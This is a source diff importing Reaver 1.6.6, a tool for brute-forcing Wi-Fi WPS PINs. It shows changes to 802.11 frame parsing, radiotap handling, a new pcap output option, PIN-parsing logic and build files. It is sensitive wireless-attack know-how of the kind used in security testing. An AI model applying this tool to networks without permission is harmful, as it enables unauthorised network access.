Import upstream version 1.6.6
Kali Janitor
3 years ago
22 | 22 | ## Build-time dependencies |
23 | 23 | |
24 | 24 | - libpcap-dev |
25 | - build-essentials | |
25 | - build-essential | |
26 | 26 | |
27 | 27 | ## Runtime-time dependencies |
28 | 28 | |
138 | 138 | -u, --survey Use survey mode [default] |
139 | 139 | -a, --all Show all APs, even those without WPS |
140 | 140 | -j, --json print extended WPS info as json |
141 | -p, --progress Show percentage of crack progress | |
141 | 142 | -h, --help Show help |
142 | 143 | |
143 | 144 | Example: |
35 | 35 | #include "send.h" |
36 | 36 | #include "utils/radiotap.h" |
37 | 37 | #include "crc.h" |
38 | #include "pcapfile.h" | |
38 | 39 | #include <libwps.h> |
39 | 40 | #include <assert.h> |
40 | 41 | |
65 | 66 | |
66 | 67 | memcpy(header, pkt_header, sizeof(*header)); |
67 | 68 | |
69 | int fd; | |
70 | if((fd = get_output_fd()) != -1) | |
71 | pcapfile_write_packet(fd, header, packet); | |
72 | ||
68 | 73 | if(get_validate_fcs() && !check_fcs(packet, header->len)) { |
69 | 74 | if(!warning_shown) |
70 | 75 | cprintf(INFO, "[!] Found packet with bad FCS, skipping...\n"); |
78 | 83 | return (void*)packet; |
79 | 84 | } |
80 | 85 | |
86 | #define BEACON_SIZE(rth_len) (rth_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame)) | |
87 | /* probe responses, just like beacons, start their management frame packet with the same | |
88 | fixed parameters of size 12 */ | |
89 | #define PROBE_RESP_SIZE(rth_len) BEACON_SIZE(rth_len) | |
90 | ||
91 | /* return 1 if beacon, -1 if probe response */ | |
92 | /* additionally populates frameheader and management frame pointers */ | |
93 | int is_management_frame( | |
94 | /* input params */ | |
95 | const struct pcap_pkthdr *header, | |
96 | unsigned const char *packet, | |
97 | /* output */ | |
98 | const struct dot11_frame_header **fh, | |
99 | const struct beacon_management_frame **mf | |
100 | ) { | |
101 | struct radio_tap_header *rt_header = (void *) radio_header(packet, header->len); | |
102 | size_t rt_header_len = end_le16toh(rt_header->len); | |
103 | if(header->len < BEACON_SIZE(rt_header_len)) | |
104 | return 0; | |
105 | ||
106 | *fh = (void *) (packet + rt_header_len); | |
107 | unsigned f_type = (*fh)->fc & end_htole16(IEEE80211_FCTL_FTYPE); | |
108 | unsigned fsub_type = (*fh)->fc & end_htole16(IEEE80211_FCTL_STYPE); | |
109 | ||
110 | int is_management_frame = f_type == end_htole16(IEEE80211_FTYPE_MGMT); | |
111 | int is_beacon = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_BEACON); | |
112 | int is_probe_resp = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_PROBE_RESP); | |
113 | ||
114 | if(is_management_frame) *mf = (void *) (packet + rt_header_len + sizeof(struct dot11_frame_header)); | |
115 | ||
116 | if(is_beacon) return 1; | |
117 | if(is_probe_resp) return -1; | |
118 | return 0; | |
119 | } | |
120 | ||
121 | unsigned char* next_management_frame( | |
122 | struct pcap_pkthdr *header, | |
123 | const struct dot11_frame_header **fh, | |
124 | const struct beacon_management_frame **mf, | |
125 | int *type | |
126 | ) { | |
127 | unsigned char *packet; | |
128 | while((packet = next_packet(header))) { | |
129 | if((*type = is_management_frame(header, packet, fh, mf))) break; | |
130 | } | |
131 | return packet; | |
132 | } | |
133 | unsigned char* next_beacon( | |
134 | struct pcap_pkthdr *header, | |
135 | const struct dot11_frame_header **fh, | |
136 | const struct beacon_management_frame **mf | |
137 | ) { | |
138 | unsigned char *packet; int type; | |
139 | while((packet = next_management_frame(header, fh, mf, &type))) { | |
140 | if(type == 1) break; | |
141 | } | |
142 | return packet; | |
143 | } | |
144 | ||
145 | ||
81 | 146 | /* |
82 | 147 | * Waits for a beacon packet from the target AP and populates the globule->ap_capabilities field. |
83 | 148 | * This is used for obtaining the capabilities field and AP SSID. |
84 | 149 | */ |
85 | 150 | void read_ap_beacon() |
86 | 151 | { |
87 | struct pcap_pkthdr header; | |
88 | const unsigned char *packet = NULL; | |
89 | struct radio_tap_header *rt_header = NULL; | |
90 | struct dot11_frame_header *frame_header = NULL; | |
91 | struct beacon_management_frame *beacon = NULL; | |
92 | int channel = 0; | |
93 | size_t tag_offset = 0; | |
94 | time_t start_time = 0; | |
152 | struct pcap_pkthdr header; | |
153 | const unsigned char *packet; | |
154 | const struct dot11_frame_header *frame_header; | |
155 | const struct beacon_management_frame *beacon; | |
156 | time_t start_time = time(NULL); | |
95 | 157 | |
96 | 158 | set_ap_capability(0); |
97 | start_time = time(NULL); | |
98 | ||
99 | while(get_ap_capability() == 0) | |
100 | { | |
101 | packet = next_packet(&header); | |
102 | if(packet == NULL) | |
103 | { | |
104 | break; | |
105 | } | |
106 | ||
107 | if(header.len >= MIN_BEACON_SIZE) | |
108 | { | |
109 | rt_header = (struct radio_tap_header *) radio_header(packet, header.len); | |
110 | size_t rt_header_len = end_le16toh(rt_header->len); | |
111 | frame_header = (struct dot11_frame_header *) (packet + rt_header_len); | |
112 | ||
113 | if(is_target(frame_header)) | |
159 | ||
160 | while((packet = next_packet(&header))) { | |
161 | int type = is_management_frame(&header, packet, &frame_header, &beacon); | |
162 | if(type != 1 || !is_target(frame_header)) { | |
163 | /* If we haven't seen any beacon packets from the target within BEACON_WAIT_TIME seconds, try another channel */ | |
164 | if((time(NULL) - start_time) >= BEACON_WAIT_TIME) | |
114 | 165 | { |
115 | if((frame_header->fc & end_htole16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) == | |
116 | end_htole16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON)) | |
117 | { | |
118 | beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header)); | |
119 | set_ap_capability(end_le16toh(beacon->capability)); | |
120 | ||
121 | /* Obtain the SSID and channel number from the beacon packet */ | |
122 | tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); | |
123 | channel = parse_beacon_tags(packet, header.len); | |
124 | ||
125 | /* If no channel was manually specified, switch to the AP's current channel */ | |
126 | if(!get_fixed_channel() && get_auto_channel_select() && channel > 0 && channel != get_channel()) | |
127 | { | |
128 | change_channel(channel); | |
129 | set_channel(channel); | |
130 | } | |
131 | ||
132 | break; | |
133 | } | |
166 | next_channel(); | |
167 | start_time = time(NULL); | |
134 | 168 | } |
135 | } | |
136 | ||
137 | /* If we haven't seen any beacon packets from the target within BEACON_WAIT_TIME seconds, try another channel */ | |
138 | if((time(NULL) - start_time) >= BEACON_WAIT_TIME) | |
139 | { | |
140 | next_channel(); | |
141 | start_time = time(NULL); | |
142 | } | |
169 | continue; | |
170 | } | |
171 | ||
172 | set_ap_capability(end_le16toh(beacon->capability)); | |
173 | ||
174 | /* Obtain the SSID and channel number from the beacon packet */ | |
175 | int channel = parse_beacon_tags(packet, header.len); | |
176 | /* If no channel was manually specified, switch to the AP's current channel */ | |
177 | if(!get_fixed_channel() && get_auto_channel_select() && channel > 0 && channel != get_channel()) | |
178 | { | |
179 | change_channel(channel); | |
180 | set_channel(channel); | |
181 | } | |
182 | break; | |
143 | 183 | } |
144 | 184 | } |
145 | 185 | |
186 | int freq_to_chan (uint16_t freq) { | |
187 | if (freq >= 2412 && freq <= 2472) { | |
188 | return (freq - 2407) / 5; | |
189 | } else if (freq == 2484) { | |
190 | return 14; | |
191 | } else if (freq >= 4900 && freq < 5000) { | |
192 | return (freq - 4000) / 5; | |
193 | } else if (freq >= 5000 && freq < 5900) { | |
194 | return (freq - 5000) / 5; | |
195 | } else if (freq >= 56160 + 2160 * 1 && freq <= 56160 + 2160 * 4) { | |
196 | return (freq - 56160) / 2160; | |
197 | } | |
198 | return 0; | |
199 | } | |
200 | ||
146 | 201 | #include "radiotap_flags.h" |
147 | 202 | |
148 | /* Extracts the signal strength field (if any) from the packet's radio tap header */ | |
149 | int8_t signal_strength(const unsigned char *packet, size_t len) | |
203 | /* readbuf must be of sufficient len to read the full flag, maximal 4 chars. */ | |
204 | static int get_radiotap_flag(const unsigned char *packet, size_t len, unsigned flagnumber, unsigned char* readbuf) | |
150 | 205 | { |
151 | 206 | if(has_rt_header() && (len > (sizeof(struct radio_tap_header)))) |
152 | 207 | { |
153 | 208 | uint32_t offset, presentflags; |
154 | 209 | if(!rt_get_presentflags(packet, len, &presentflags, &offset)) |
155 | 210 | return 0; |
156 | if(!(presentflags & (1U << IEEE80211_RADIOTAP_DBM_ANTSIGNAL))) | |
211 | if(!(presentflags & (1U << flagnumber))) | |
157 | 212 | return 0; |
158 | offset = rt_get_flag_offset(presentflags, IEEE80211_RADIOTAP_DBM_ANTSIGNAL, offset); | |
159 | if (offset < len) | |
160 | return (int8_t) packet[offset]; | |
161 | } | |
162 | ||
213 | offset = rt_get_flag_offset(presentflags, flagnumber, offset); | |
214 | if (offset + ieee80211_radiotap_type_size[flagnumber] < len) { | |
215 | memcpy(readbuf, packet+offset, ieee80211_radiotap_type_size[flagnumber]); | |
216 | return 1; | |
217 | } | |
218 | } | |
219 | ||
220 | return 0; | |
221 | } | |
222 | ||
223 | ||
224 | /* Extracts the channel frequency from the packet's radio tap header */ | |
225 | uint16_t rt_channel_freq(const unsigned char *packet, size_t len) | |
226 | { | |
227 | unsigned char readbuf[4]; | |
228 | /* the lower 2 byte of the channel flag seems to contain channel type, i.e. ABG. | |
229 | but we need to read all 4. */ | |
230 | uint16_t result; | |
231 | if(get_radiotap_flag(packet, len, IEEE80211_RADIOTAP_CHANNEL, readbuf)) { | |
232 | memcpy(&result, readbuf, 2); | |
233 | return end_le32toh(result); | |
234 | } | |
235 | return 0; | |
236 | } | |
237 | ||
238 | /* Extracts the signal strength field (if any) from the packet's radio tap header */ | |
239 | int8_t signal_strength(const unsigned char *packet, size_t len) | |
240 | { | |
241 | unsigned char readbuf[1]; | |
242 | if(get_radiotap_flag(packet, len, IEEE80211_RADIOTAP_DBM_ANTSIGNAL, readbuf)) | |
243 | return (int8_t) readbuf[0]; | |
163 | 244 | return 0; |
164 | 245 | } |
165 | 246 | |
166 | 247 | /* |
167 | 248 | * Determines if the target AP has locked its WPS state or not. |
168 | * Returns 0 if not locked, 1 if locked. | |
249 | * Returns 0 if not locked, 1 if locked, -1 if wps has been turned off | |
250 | * pass data of a valid beacon packet | |
169 | 251 | */ |
170 | int is_wps_locked() | |
171 | { | |
172 | int locked = 0; | |
252 | int is_wps_locked(const struct pcap_pkthdr *header, const unsigned char *packet) | |
253 | { | |
173 | 254 | struct libwps_data wps = { 0 }; |
174 | struct pcap_pkthdr header; | |
175 | const unsigned char *packet = NULL; | |
176 | struct radio_tap_header *rt_header = NULL; | |
177 | struct dot11_frame_header *frame_header = NULL; | |
178 | ||
179 | while(1) | |
180 | { | |
181 | packet = next_packet(&header); | |
182 | if(packet == NULL) | |
183 | { | |
184 | break; | |
185 | } | |
186 | ||
187 | if(header.len >= MIN_BEACON_SIZE) | |
188 | { | |
189 | rt_header = (struct radio_tap_header *) radio_header(packet, header.len); | |
190 | size_t rt_header_len = end_le16toh(rt_header->len); | |
191 | frame_header = (struct dot11_frame_header *) (packet + rt_header_len); | |
192 | ||
193 | if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0) | |
194 | { | |
195 | if((frame_header->fc & end_htole16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) == | |
196 | end_htole16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON)) | |
197 | { | |
198 | if(parse_wps_parameters(packet, header.len, &wps)) | |
199 | { | |
200 | if(wps.locked == WPSLOCKED) | |
201 | { | |
202 | locked = 1; | |
203 | } | |
204 | break; | |
205 | } | |
206 | } | |
207 | ||
208 | } | |
209 | } | |
210 | } | |
211 | ||
212 | return locked; | |
255 | if(parse_wps_parameters(packet, header->len, &wps)) { | |
256 | if(wps.locked == WPSLOCKED) return 1; | |
257 | return 0; | |
258 | } | |
259 | return -1; | |
213 | 260 | } |
214 | 261 | |
215 | 262 | |
624 | 671 | if(len >= sizeof(*rt_header)) |
625 | 672 | { |
626 | 673 | uint32_t presentflags, flags; |
674 | /* only check FCS if the flag IEEE80211_RADIOTAP_F_FCS is set in | |
675 | in IEEE80211_RADIOTAP_FLAGS. the packets we generate ourselves | |
676 | do not have any of these flags set and would cause false positives | |
677 | */ | |
627 | 678 | if(!rt_get_presentflags(packet, len, &presentflags, &offset)) |
628 | goto skip; | |
679 | return 1; | |
629 | 680 | if(!(presentflags & (1U << IEEE80211_RADIOTAP_FLAGS))) |
630 | goto skip; | |
681 | return 1; | |
631 | 682 | offset = rt_get_flag_offset(presentflags, IEEE80211_RADIOTAP_FLAGS, offset); |
632 | 683 | if(offset < len) { |
633 | 684 | memcpy(&flags, packet + offset, 4); |
638 | 689 | return 1; |
639 | 690 | } |
640 | 691 | |
641 | skip: | |
642 | 692 | rt_header = (struct radio_tap_header *) packet; |
643 | 693 | offset = end_le16toh(rt_header->len); |
644 | 694 | |
665 | 715 | } |
666 | 716 | |
667 | 717 | /* Checks a given BSSID to see if it's on our target list */ |
668 | int is_target(struct dot11_frame_header *frame_header) | |
669 | { | |
670 | int yn = 1; | |
671 | ||
672 | if(memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) != 0) | |
673 | { | |
674 | if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) != 0) | |
675 | { | |
676 | yn = 0; | |
677 | } | |
678 | } | |
679 | ||
680 | return yn; | |
718 | int is_target(const struct dot11_frame_header *frame_header) | |
719 | { | |
720 | return !memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN); | |
681 | 721 | } |
682 | 722 | |
683 | 723 | /* Make best guess to determine if a radio tap header is present */ |
697 | 737 | * Returns a pointer to the radio tap header. If there is no radio tap header, |
698 | 738 | * it returns a pointer to a dummy radio tap header. |
699 | 739 | */ |
740 | #define FAKE_RADIO_TAP_HEADER "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" | |
700 | 741 | unsigned char *radio_header(const unsigned char *packet, size_t len) |
701 | 742 | { |
702 | if(has_rt_header()) | |
743 | if(len >= 8 && has_rt_header()) | |
703 | 744 | { |
704 | 745 | return (void*)packet; |
705 | 746 | } |
65 | 65 | #define FC_ORDER 0x80 |
66 | 66 | |
67 | 67 | #define RADIO_TAP_VERSION 0x00 |
68 | #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00" | |
69 | 68 | |
70 | 69 | #define MIN_AUTH_SIZE (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct authentication_management_frame)) |
71 | 70 | |
74 | 73 | |
75 | 74 | unsigned char *next_packet(struct pcap_pkthdr *header); |
76 | 75 | void read_ap_beacon(); |
76 | int freq_to_chan (uint16_t freq); | |
77 | uint16_t rt_channel_freq(const unsigned char *packet, size_t len); | |
77 | 78 | int8_t signal_strength(const unsigned char *packet, size_t len); |
78 | int is_wps_locked(); | |
79 | int is_wps_locked(const struct pcap_pkthdr *header, const unsigned char *packet); | |
79 | 80 | int reassociate(void); |
80 | 81 | enum encryption_type supported_encryption(const unsigned char *packet, size_t len); |
81 | 82 | int parse_beacon_tags(const unsigned char *data, size_t len); |
82 | 83 | unsigned char *parse_ie_data(const unsigned char *data, size_t len, uint8_t tag_number, size_t *ie_len, size_t *ie_offset); |
83 | int is_target(struct dot11_frame_header *frame_header); | |
84 | int is_target(const struct dot11_frame_header *frame_header); | |
84 | 85 | int has_rt_header(void); |
85 | 86 | unsigned char *radio_header(const unsigned char *packet, size_t len); |
86 | ||
87 | unsigned char* next_beacon( | |
88 | struct pcap_pkthdr *header, | |
89 | const struct dot11_frame_header **fh, | |
90 | const struct beacon_management_frame **mf | |
91 | ); | |
87 | 92 | #endif |
92 | 92 | $(TLS_OBJS) $(CRYPTO_OBJS) $(LWE_OBJS) |
93 | 93 | |
94 | 94 | |
95 | PROG_OBJS=argsparser.o globule.o init.o sigint.o iface.o sigalrm.o \ | |
96 | misc.o cracker.o session.o send.o pins.o 80211.o exchange.o builder.o \ | |
97 | keys.o crc.o pixie.o wpscrack.o wpsmon.o main.o version.o | |
95 | MAIN_OBJS=globule.o init.o sigint.o iface.o sigalrm.o \ | |
96 | misc.o session.o send.o pins.o 80211.o builder.o \ | |
97 | keys.o crc.o pixie.o version.o pcapfile.o | |
98 | ||
99 | PROG_OBJS=$(MAIN_OBJS) exchange.o argsparser.o wpscrack.o wpsmon.o cracker.o main.o | |
98 | 100 | |
99 | 101 | # Version of the Wireless Tools |
100 | 102 | WT_VERSION := $(shell sed -ne "/WT_VERSION/{s:\([^0-9]*\)::;p;q;}" < lwe/iwlib.h ) |
117 | 119 | ln -sf ./reaver wash |
118 | 120 | |
119 | 121 | reaver: $(PROG_OBJS) $(LIB_OBJS) |
120 | $(CC) $(CFLAGS) $(INC) $(PROG_OBJS) $(LIB_OBJS) $(LDFLAGS) -o reaver | |
122 | $(CC) $(CFLAGS) $(INC) $(PROG_OBJS) $(LIB_OBJS) $(LDFLAGS) -lpthread -o reaver | |
123 | ||
124 | extest.o: exchange.c | |
125 | $(CC) $(CFLAGS) -g3 -O0 -DEX_TEST -c exchange.c -o extest.o | |
126 | extest: extest.o $(LIB_OBJS) $(MAIN_OBJS) | |
127 | $(CC) $(LIB_OBJS) extest.o $(MAIN_OBJS) $(LDFLAGS) -o extest | |
121 | 128 | |
122 | 129 | version.o: version.h |
123 | 130 | version.h: $(wildcard $(srcdir)/VERSION $(srcdir)/../.git) |
140 | 147 | rm -f $(LIB_OBJS) $(PROG_OBJS) |
141 | 148 | rm -f $(GENH) |
142 | 149 | |
143 | distclean: clean | |
144 | rm -rf $(CONFDIR) | |
150 | .PHONY: all clean install | |
145 | 151 | |
146 | .PHONY: all clean distclean install | |
147 |
33 | 33 | #include <stdio.h> |
34 | 34 | #include <getopt.h> |
35 | 35 | #include <ctype.h> |
36 | #include <fcntl.h> | |
36 | 37 | #include "globule.h" |
37 | 38 | #include "defs.h" |
38 | 39 | #include "iface.h" |
48 | 49 | int long_opt_index = 0; |
49 | 50 | char bssid[MAC_ADDR_LEN] = { 0 }; |
50 | 51 | char mac[MAC_ADDR_LEN] = { 0 }; |
51 | char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:p:s:C:KZA5ELfnqvDShwN6JF"; | |
52 | char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:p:s:C:O:KZA5ELfnqvDShwN6JFu"; | |
52 | 53 | struct option long_options[] = { |
53 | 54 | { "pixie-dust", no_argument, NULL, 'K' }, |
54 | 55 | { "interface", required_argument, NULL, 'i' }, |
81 | 82 | { "help", no_argument, NULL, 'h' }, |
82 | 83 | { "timeout-is-nack", no_argument, NULL, 'J' }, |
83 | 84 | { "ignore-fcs", no_argument, NULL, 'F' }, |
85 | { "output-file", required_argument, NULL, 'O'}, | |
84 | 86 | { 0, 0, 0, 0 } |
85 | 87 | }; |
88 | ||
89 | set_output_fd(-1); | |
86 | 90 | |
87 | 91 | /* Since this function may be called multiple times, be sure to set opt index to 0 each time */ |
88 | 92 | optind = 0; |
91 | 95 | { |
92 | 96 | switch(c) |
93 | 97 | { |
98 | case 'O': | |
99 | { | |
100 | int ofd = open(optarg, O_WRONLY|O_CREAT|O_TRUNC, 0660); | |
101 | set_output_fd(ofd); | |
102 | if(ofd == -1) perror("open outputfile failed: "); | |
103 | } | |
104 | break; | |
94 | 105 | case 'Z': |
95 | 106 | case 'K': |
96 | pixie.do_pixie = 1; | |
97 | break; | |
107 | pixie.do_pixie = 1; | |
108 | set_max_pin_attempts(1); | |
109 | break; | |
110 | case 'u': | |
111 | pixie.use_uptime = 1; | |
112 | break; | |
98 | 113 | case 'i': |
99 | 114 | set_iface(optarg); |
100 | 115 | break; |
133 | 148 | break; |
134 | 149 | case 'p': |
135 | 150 | parse_static_pin(optarg); |
151 | set_max_pin_attempts(1); | |
136 | 152 | break; |
137 | 153 | case 's': |
138 | 154 | set_session(optarg); |
265 | 281 | char p1[5] = { 0 }; |
266 | 282 | char p2[4] = { 0 }; |
267 | 283 | |
268 | if(pin) | |
284 | len = strlen(pin); | |
285 | ||
286 | if((len == 4 || len == 7 || len == 8) && is_valid_pin(pin) != 0) | |
269 | 287 | { |
270 | len = strlen(pin); | |
271 | ||
272 | if((len == 4 || len == 7 || len == 8) && is_valid_pin(pin) != 0) | |
288 | memcpy((void *) &p1, pin, sizeof(p1)-1); | |
289 | set_static_p1((char *) &p1); | |
290 | ||
291 | if(len > 4) | |
273 | 292 | { |
274 | memcpy((void *) &p1, pin, sizeof(p1)-1); | |
275 | set_static_p1((char *) &p1); | |
276 | set_key_status(KEY2_WIP); | |
277 | ||
278 | if(len > 4) | |
279 | { | |
280 | memcpy((void *) &p2, pin+sizeof(p1)-1, sizeof(p2)-1); | |
281 | set_static_p2((char *) &p2); | |
282 | } | |
283 | } | |
284 | else | |
285 | { | |
286 | //cprintf(CRITICAL, "[X] ERROR: Invalid pin specified! Ignoring '%s'.\n", pin); | |
287 | set_max_pin_attempts(1); | |
288 | set_pin_string_mode(1); | |
289 | set_static_p1(pin); | |
293 | memcpy((void *) &p2, pin+sizeof(p1)-1, sizeof(p2)-1); | |
294 | set_static_p2((char *) &p2); | |
290 | 295 | } |
291 | 296 | } |
292 | } | |
293 | ||
297 | else | |
298 | { | |
299 | set_pin_string_mode(1); | |
300 | set_static_p1(pin); | |
301 | } | |
302 | } | |
303 |
33 | 33 | #include "builder.h" |
34 | 34 | #include <assert.h> |
35 | 35 | |
36 | size_t build_radio_tap_header(struct radio_tap_header *rt_header) | |
37 | { | |
38 | memcpy(rt_header, "\0\0" "\x08\0" "\0\0\0\0", 8); | |
39 | return sizeof(*rt_header); | |
40 | } | |
41 | ||
42 | size_t build_dot11_frame_header_m(struct dot11_frame_header *fh, uint16_t fc, unsigned char dstmac[6]) | |
36 | size_t build_radio_tap_header(void *rt_header) | |
37 | { | |
38 | #ifdef RADIOTAP_HEADER_WITH_RATE | |
39 | #define RADIOTAP_HEADER_LENGTH \ | |
40 | "\x0c\0" /* header length */ | |
41 | #define RADIOTAP_HEADER_PRESENT_FLAGS \ | |
42 | "\x04\x80\0\0" /* present flags: rate & tx flags */ | |
43 | #define RADIOTAP_HEADER_RATE_OPTION \ | |
44 | "\0\0" /* rate, padding */ | |
45 | #else | |
46 | #define RADIOTAP_HEADER_LENGTH \ | |
47 | "\x0a\0" /* header length */ | |
48 | #define RADIOTAP_HEADER_PRESENT_FLAGS \ | |
49 | "\x00\x80\0\0" /* present flags: tx flags */ | |
50 | #define RADIOTAP_HEADER_RATE_OPTION "" | |
51 | #endif | |
52 | ||
53 | #define RADIOTAP_HEADER \ | |
54 | "\0\0" /* version */ \ | |
55 | RADIOTAP_HEADER_LENGTH \ | |
56 | RADIOTAP_HEADER_PRESENT_FLAGS \ | |
57 | RADIOTAP_HEADER_RATE_OPTION \ | |
58 | "\x18\0" /* TX flags: F_TX_NOACK | F_TX_NOSEQ */ | |
59 | ||
60 | memcpy(rt_header, RADIOTAP_HEADER, sizeof(RADIOTAP_HEADER)-1); | |
61 | return sizeof(RADIOTAP_HEADER)-1; | |
62 | } | |
63 | ||
64 | static size_t build_dot11_frame_header_m(struct dot11_frame_header *fh, uint16_t fc, unsigned char dstmac[6]) | |
43 | 65 | { |
44 | 66 | static uint16_t frag_seq; |
45 | 67 | |
46 | frag_seq += SEQ_MASK; | |
47 | ||
48 | fh->duration = end_htole16(DEFAULT_DURATION); | |
68 | fh->duration = end_htole16(52); /* DEFAULT_DURATION */ | |
49 | 69 | fh->fc = end_htole16(fc); |
50 | 70 | fh->frag_seq = end_htole16(frag_seq); |
51 | 71 | |
52 | 72 | memcpy(fh->addr1, dstmac, MAC_ADDR_LEN); |
53 | 73 | memcpy(fh->addr2, get_mac(), MAC_ADDR_LEN); |
54 | 74 | memcpy(fh->addr3, dstmac, MAC_ADDR_LEN); |
75 | ||
76 | frag_seq += 0x10; /* SEQ_MASK */ | |
55 | 77 | |
56 | 78 | return sizeof *fh; |
57 | 79 | } |
42 | 42 | #define WPS_TAG_SIZE 14 |
43 | 43 | #define WPS_REGISTRAR_TAG "\x00\x50\xF2\x04\x10\x4A\x00\x01\x10\x10\x3A\x00\x01\x02" |
44 | 44 | |
45 | #define DEFAULT_DURATION 52 | |
46 | ||
47 | 45 | #define DOT1X_VERSION 0x01 |
48 | 46 | #define DOT1X_START 0x01 |
49 | 47 | |
51 | 49 | #define FC_STANDARD 0x0108 |
52 | 50 | |
53 | 51 | #define LLC_SNAP 0xAA |
54 | #define SEQ_MASK 0x10 | |
55 | 52 | |
56 | 53 | #define LISTEN_INTERVAL 0x0064 |
57 | 54 | #define OPEN_SYSTEM 0 |
64 | 61 | #define IW_ESSID_MAX_SIZE 32 |
65 | 62 | #endif |
66 | 63 | |
67 | size_t build_radio_tap_header(struct radio_tap_header *rt_header); | |
64 | size_t build_radio_tap_header(void *rt_header); | |
68 | 65 | size_t build_dot11_frame_header(struct dot11_frame_header *fh, uint16_t fc); |
69 | 66 | size_t build_association_management_frame(struct association_request_management_frame *f); |
70 | 67 | size_t build_authentication_management_frame(struct authentication_management_frame *f); |
0 | 0 | #! /bin/sh |
1 | 1 | # Guess values for system-dependent variables and create Makefiles. |
2 | # Generated by GNU Autoconf 2.69 for reaver 1.6.5. | |
2 | # Generated by GNU Autoconf 2.69 for reaver 1.6.6. | |
3 | 3 | # |
4 | 4 | # |
5 | 5 | # Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc. |
576 | 576 | # Identity of this package. |
577 | 577 | PACKAGE_NAME='reaver' |
578 | 578 | PACKAGE_TARNAME='reaver' |
579 | PACKAGE_VERSION='1.6.5' | |
580 | PACKAGE_STRING='reaver 1.6.5' | |
579 | PACKAGE_VERSION='1.6.6' | |
580 | PACKAGE_STRING='reaver 1.6.6' | |
581 | 581 | PACKAGE_BUGREPORT='' |
582 | 582 | PACKAGE_URL='' |
583 | 583 | |
1222 | 1222 | # Omit some internal or obsolete options to make the list less imposing. |
1223 | 1223 | # This message is too long to be a string in the A/UX 3.1 sh. |
1224 | 1224 | cat <<_ACEOF |
1225 | \`configure' configures reaver 1.6.5 to adapt to many kinds of systems. | |
1225 | \`configure' configures reaver 1.6.6 to adapt to many kinds of systems. | |
1226 | 1226 | |
1227 | 1227 | Usage: $0 [OPTION]... [VAR=VALUE]... |
1228 | 1228 | |
1283 | 1283 | |
1284 | 1284 | if test -n "$ac_init_help"; then |
1285 | 1285 | case $ac_init_help in |
1286 | short | recursive ) echo "Configuration of reaver 1.6.5:";; | |
1286 | short | recursive ) echo "Configuration of reaver 1.6.6:";; | |
1287 | 1287 | esac |
1288 | 1288 | cat <<\_ACEOF |
1289 | 1289 | |
1371 | 1371 | test -n "$ac_init_help" && exit $ac_status |
1372 | 1372 | if $ac_init_version; then |
1373 | 1373 | cat <<\_ACEOF |
1374 | reaver configure 1.6.5 | |
1374 | reaver configure 1.6.6 | |
1375 | 1375 | generated by GNU Autoconf 2.69 |
1376 | 1376 | |
1377 | 1377 | Copyright (C) 2012 Free Software Foundation, Inc. |
1669 | 1669 | This file contains any messages produced by compilers while |
1670 | 1670 | running configure, to aid debugging if configure makes a mistake. |
1671 | 1671 | |
1672 | It was created by reaver $as_me 1.6.5, which was | |
1672 | It was created by reaver $as_me 1.6.6, which was | |
1673 | 1673 | generated by GNU Autoconf 2.69. Invocation command line was |
1674 | 1674 | |
1675 | 1675 | $ $0 $@ |
3886 | 3886 | # report actual input values of CONFIG_FILES etc. instead of their |
3887 | 3887 | # values after options handling. |
3888 | 3888 | ac_log=" |
3889 | This file was extended by reaver $as_me 1.6.5, which was | |
3889 | This file was extended by reaver $as_me 1.6.6, which was | |
3890 | 3890 | generated by GNU Autoconf 2.69. Invocation command line was |
3891 | 3891 | |
3892 | 3892 | CONFIG_FILES = $CONFIG_FILES |
3939 | 3939 | cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 |
3940 | 3940 | ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" |
3941 | 3941 | ac_cs_version="\\ |
3942 | reaver config.status 1.6.5 | |
3942 | reaver config.status 1.6.6 | |
3943 | 3943 | configured by $0, generated by GNU Autoconf 2.69, |
3944 | 3944 | with options \\"\$ac_cs_config\\" |
3945 | 3945 |
10 | 10 | }; |
11 | 11 | |
12 | 12 | void cprintf(enum debug_level level, const char *fmt, ...); |
13 | void cprintf_mute(); | |
14 | void cprintf_unmute(); | |
15 | int cprintf_ismuted(); | |
13 | 16 | |
14 | 17 | #endif |
31 | 31 | */ |
32 | 32 | |
33 | 33 | #include "cracker.h" |
34 | #include "pixie.h" | |
34 | 35 | #include "utils/vendor.h" |
36 | ||
37 | void update_wpc_from_pin(void) { | |
38 | /* update WPC file with found pin */ | |
39 | pixie.do_pixie = 0; | |
40 | /* reset string pin mode if -p "" was used */ | |
41 | set_pin_string_mode(0); | |
42 | /* clean static pin if -p [PIN] was used */ | |
43 | set_static_p2(NULL); | |
44 | parse_static_pin(get_pin()); | |
45 | ||
46 | /* check the pin is valid WPS pin, if exist static p2 then is valid WPS pin */ | |
47 | if (get_static_p2()) { | |
48 | enum key_state key_status = get_key_status(); | |
49 | /* reset key status for sort p1 and p2 */ | |
50 | set_key_status(KEY1_WIP); | |
51 | /* sort pin into current index of p1 and p2 array */ | |
52 | if (jump_p1_queue(get_static_p1()) > 0) { | |
53 | cprintf(VERBOSE, "[+] Updated P1 array\n"); | |
54 | } | |
55 | if (jump_p2_queue(get_static_p2()) > 0) { | |
56 | cprintf(VERBOSE, "[+] Updated P2 array\n"); | |
57 | } | |
